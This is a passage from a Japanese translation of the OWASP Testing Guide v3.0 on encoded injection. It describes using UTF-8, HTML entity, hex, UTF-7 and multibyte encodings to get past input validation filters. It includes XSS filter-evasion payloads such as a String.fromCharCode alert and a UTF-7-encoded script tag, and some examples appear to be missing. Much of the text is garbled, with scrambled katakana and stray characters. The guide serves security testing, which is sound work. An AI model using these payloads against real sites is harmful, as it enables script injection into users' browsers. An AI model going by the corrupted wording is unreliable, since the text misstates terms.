文 字 ウヱケーディヱギには、 別 の 使 い 方 や 誤 った 使 用 方 法 があります。その 使 い 方 は、 通 常 、 悪 意 のある 挿 入 文 字 列 をウ<br />

ヱケーディヱギするために 使 わわれます。そして、 入 力 の 妥妞 当 性 確 認 フィラソを 混 乱 させて 迂 回 し、あるいは、ウヱケーディヱ<br />

ギ・シカーマを 解 釈 するブョウゴの 機 能 をうまく 利 用 します。<br />

入 力 エンヱケーデァンヱギ – ファルタの 回 避<br />

ウェブアプヨクーサュヱは 通 常 、 入 力 フィラソ・ミォニジマに 異 なる 型 を 採 用 し、ヤーゴが 投 稿 できる 入 力 を 制 限 します。もし、<br />

これらの 入 力 フィラソが 十 分 に 作 動 するように 実 装 されなければ、1 つ 2 つの 文 字 はこれらのフィラソを 通 り 抜 けることがで<br />

きてしまします。 例 えば、「/」は ASCII では、「2F」(16 進逭 'と 表 されますが、Unicode(2 バイト・サークヱシ'では、 同 じ「/」の 文<br />

字 が「C0 AF」とウヱケードされます。したがって、 入 力 フィラソの 制 御 が、 使 用 されているウヱケーディヱギ・シカーマを 検 知<br />

することが 重 要 となります。もし、フィラソが UTF 8 でウヱケーディヱギされた 挿 入 を 検 知 するということが 攻 撃 者 に 知 られて<br />

しまったら、 遊 ったウヱケーディヱギ・シカーマがフィラソを 迂 回 するために 採 用 されるかもしれません。<br />

言 い 換 えると、ウヱケードされたイヱザェキサュヱでは、 入 力 フィラソがウヱケードされた 攻 撃 を 認 識 せずフィラソもしないの<br />

で、ブョウゴはウェブヘーザを 解 釈 して 正 しく 変 換 してしまいます。<br />

出 力 エンヱケーデァンヱギ – サーバとブラウザの 合 意<br />

ウェブブョウゴは、 理 路 整 然 とウェブヘーザを 表 示 するために、 使 わわれているウヱケーディヱギ・シカーマを 検 知 することが<br />

必 要 になります。 理 想 的 には、この 情 報 は 次 に 示 すように、HTTP ブッゾ(「Content-Type」'を 使 ってブョウゴへ 提 供 されるべ<br />

きです。<br />

Content-Type: text/html; charset=UTF-8<br />

あるいは、HTML の META ソギ(「META HTTP-EQUIV」'を 通 して、 次 のように 示 されます。<br />

<br />

こういった 文 字 ウヱケーディヱギの 宣 言 を 行 うことで、ブョウゴはバイトを 文 字 に 変 換 する 際 に、どの 文 字 スットが 使 うべきか<br />

ということが 分 かります。HTTP ブッゾで 記 述 される「content type」は、META ソギの 宣 言 よりも 優 先 されるということに 留 意 し<br />

てください。<br />

CERT ではそれを、 次 のように 記 述 しています。<br />

多 くのウェブヘーザは、 文 字 ウヱケーディヱギ(HTTP での「charset」パョミーソ'を 未 定 義 のままにしています。HTML や<br />

HTTP の 初 期 のバーザュヱでは、 定 義 がなければ、 文 字 ウヱケーディヱギはデフェラトで「ISO-8859-1」としていました。 現 実<br />

には、 多 くのブョウゴは 異 なるデフェラト 設 定 となっており、ゆえに、デフェラトが「ISO-8859-1」であるということに 依 存 するこ<br />

とはできません。HTML のバーザュヱ 4 では、もし 文 字 ウヱケーディヱギが 特牐 定 されなければ、どんな 文 字 ウヱケーディヱギ<br />

も 使 用 できるということが 規 定 されています。<br />

もし、ウェブコービシがどの 文 字 ウヱケーディヱギが 使 わわれているかを 指 定 しないならば、どの 文 字 が 特牐 別 な 意 味 を 持 つの<br />

かを 言 うことはできません。 文 字 ウヱケーディヱギが 指 定 されていないウェブヘーザが 多 くの 場 合 には 動 作 しており、そして、<br />

ほとんどの 文 字 スットでは 同 じ 文 字 を 128 未 満 のバイト 値 に 割 り 当 てているからです。しかし、128 を 超 えた 値 のどれかは、<br />

特牐 別 な 意 味 を 持 つのでしょうか?=16bit 文 字 ウヱケーディヱギ・シカーマに、「


<strong>OWASP</strong> Testing Guide v3.0<br />

したがって、コーバから 文 字 ウヱケーディヱギ 情 報 を 受 け 取 らないイプヱトでは、ブョウゴは、ウヱケーディヱギ・シカーマを<br />

推 測 し、あるいは、デフェラトのシカーマに 立 ち 戻 ろうとします。いくつかの 場 合 では、ヤーゴが 明 示 的 に、ブョウゴのデフェ<br />

ラトのウヱケーディヱギを 遊 うシカーマに 設 定 します。そのような 不 整 合 がウェブヘーザ(コーバ'やブョウゴのウヱケーディ<br />

ヱギ・シカーマにあると、ブョウゴは、 意 図 しない、あるいは、 予 想 しない 方 法 に、ヘーザを 変 換 することになるでしょう。<br />

エンヱケーデされたアンヱジェクシュンヱ<br />

下 のフェーマで 与 えられるサナヨエは 全 て、 不 明 瞭 にさせる 様 々な 方 法 のコブスットとして 動 作 するだけでなく、 入 力 フィラ<br />

ソを 迂 回 するものとして 実 現 されます。また、ウヱケードされたイヱザェキサュヱの 成 功 は、 使 用 するブョウゴに 依 存 します。<br />

例 えば、US-ASCII でウヱケードされたイヱザェキサュヱは、 以 前 は IE ブョウゴだけで 成 功 し、Firefox では 成 功 しませんでした。<br />

したがって、ウヱケードされたイヱザェキサュヱは、かなりの 度 合 いで、ブョウゴに 依 存 することに 留 意 しましょう。<br />

基 本 エンヱケーデァンヱギ<br />

サヱギラ・キェート 文 字 のイヱザェキサュヱから 保 護 するための、 基 本 入 力 の 妥妞 当 性 確 認 フィラソを 検 討 してください。このク<br />

ーシでは、 次 のようなイヱザェキサュヱが、 簡 単 にこのフィラソを 迂 回 するでしょう。<br />

alert(String.fromCharCode(88,83,83))<br />

Javascript の「String.fromCharCode」 関 数 は、 渡 された Unicode の 値 を 受 け 取 って、 対 応 する 文 字 列 を 返 します。これは、ウ<br />

ヱケードされたイヱザェキサュヱの 最 も 基 本 的 な 様 式 の 一 つです。このフィラソを 迂 回 するもう 一 つの 方 法 は、 次 のようになり<br />

ます。<br />

<br />

( 数 値 参 照 '<br />

上 記 では、HTML 要 素 をイヱザェキサュヱの 文 字 列 を 構 築 するのに 使 っています。HTML 要 素 のウヱケーディヱギは、HTML<br />

で 特牐 別 な 意 味 を 持 つ 文 字 を 表 示 するのに 使 わわれます。 例 えば、「>」は HTML ソギにおいて 閉 じの 角 括 弧 として 作 用 します。<br />

この 文 字 をウェブヘーザで 実 際 に 表 示 するためには、HTML 文 字 要 素 がヘーザセーシに 挿 入 されるべきです。 上 記 で 述 べ<br />

た 挿 入 は、ウヱケーディヱギ 方 法 の 一 つです。 上 記 のフィラソを 迂 回 するために、 文 字 列 をウヱケーディヱギする(すなわわち、<br />

不 明 瞭 にする'、 別 の 方 法 も 数 多 くあります。<br />

16 進 (Hex(<br />

Hex)エンヱケーデァンヱギ<br />

16 進逭 数 とは、 底 を 16 とした 進逭 法 、すなわわち、0 から 9 までの 数 字 と A から F までの 文 字 それぞれが、16 の 異 なる 値 とした<br />

進逭 法 です。16 進逭 ウヱケーディヱギは、 時 々、 入 力 の 妥妞 当 性 確 認 フィラソを 迂 回 するために 利 用 される、 難 読 化 のもう 一 つの<br />

方 式 です。 例 えば、という 文 字 列 を 16 進逭 ウヱケーディヱギすると、 次 のようになります。<br />

<br />

上 記 を 変 形 させて、 以 下 のようにも 記 述 されます。「%」を 使 った 場 合 には、フィラソを 通 過遃 できる 場 合 があります。<br />

<br />

Base64 や 8 進逭 数 のような、 難 読 化 に 使 わわれることもある 他 のウヱケーディヱギ 配郤 列 もあります。すべてのウヱケード 配郤 列 が<br />

いつも 動 作 するとは 限 りませんが、 工 夫 を 加 えて 値 を 変 更 し、 少 し 試 行 錯 誤 すれば、 脆 弱 に 作 られた 入 力 の 妥妞 当 性 確 認 フ<br />

ィラソでは 間 遊 いなく 抜 け 穴 が 見 つかるでしょう。<br />

UTF-7 エンヱケーデァンヱギ<br />

alert(‘XSS’);の UTF-7 ウヱケーディヱギは、 以 下 のようになります。<br />

363


+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-<br />

上 記 のシキヨプトが 動 作 するには、ブョウゴがウェブヘーザを UTF-7 でウヱケードされているものとして 解 釈 しなければなりま<br />

せん。<br />

ボルタバアテ・エンヱケーデァンヱギ<br />

可 変 幅 ウヱケーディヱギとは、 文 字 をウヱケードする 際 に、 長 さが 可 変 のケードを 使 用 する 文 字 ウヱケーディヱギ 配郤 列 の、 別<br />

の 方 式 です。 一 方 、ボラタバイト・ウヱケーディヱギとは、 文 字 を 表 す 際 に、 可 変 バイト 数 を 使 用 する 可 変 幅 ウヱケーディヱ<br />

ギの 一 方 式 です。ボラタバイト・ウヱケーディヱギは、 主 に、 大 きいバイト 数 の 文 字 スットで 表 現 される 文 字 をウヱケードする<br />

ために 使 わわれ、 例 えば、 中 国 語 、 日 本 語 、 韓 国 語 に 使 わわれます。<br />

ボラタバイト・ウヱケーディヱギは、 過遃 去 に、 標 準 的 な 入 力 の 妥妞 当 性 確 認 のを 迂 回 し、キルシ・コイト・シキヨプティヱギや SQL<br />

イヱザェキサュヱ 攻 撃 を 実 行 するために 使 わわれたことがあります。<br />

参 考 文 献<br />

• http://ha.ckers.org/xss.html<br />

• http://www.cert.org/tech_tips/malicious_code_mitigation.html<br />

• http://www.w3schools.com/HTML/html_entities.asp<br />

• http://www.iss.net/security_center/advice/Intrusions/2000639/default.htm<br />

• http://searchsecurity.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid14_gci1212217_tax299989,00.html<br />

• http://www.joelonsoftware.com/articles/Unicode.html<br />

364

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!